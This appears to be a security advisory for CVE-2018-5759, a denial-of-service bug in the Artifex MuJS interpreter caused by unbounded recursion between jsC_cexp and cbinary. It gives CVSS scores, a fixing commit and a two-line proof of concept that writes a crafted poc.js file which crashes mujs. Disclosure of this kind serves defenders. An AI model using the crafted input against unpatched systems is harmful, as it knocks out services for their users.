Artifex MuJS Denial Of Service

2018.01.29
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

The continuous call between the two functions "jsC_cexp" function and "cbinary" allows attackers to cause a denial of service (application crash) via a crafted js file # Exploit Title: DoS caused by the interactive call between two functions # Date: 2018-01-16 # Exploit Author: Andrea Sindoni - @invictus1306 # Vendor: Artifex (https://www.artifex.com/) # Software Link: https://github.com/ccxvii/mujs # Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca # Tested on: Linux # CVE : CVE-2018-5759 Simple poc: # python -c "print 'func%d'*80000" > poc.js # mujs poc.js Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 ( http://git.ghostscript.com/?p=mujs.git;a=commit;h= 4d45a96e57fbabf00a7378b337d0ddcace6f38c1) Please let me know if you need more info. Andrea Sindoni


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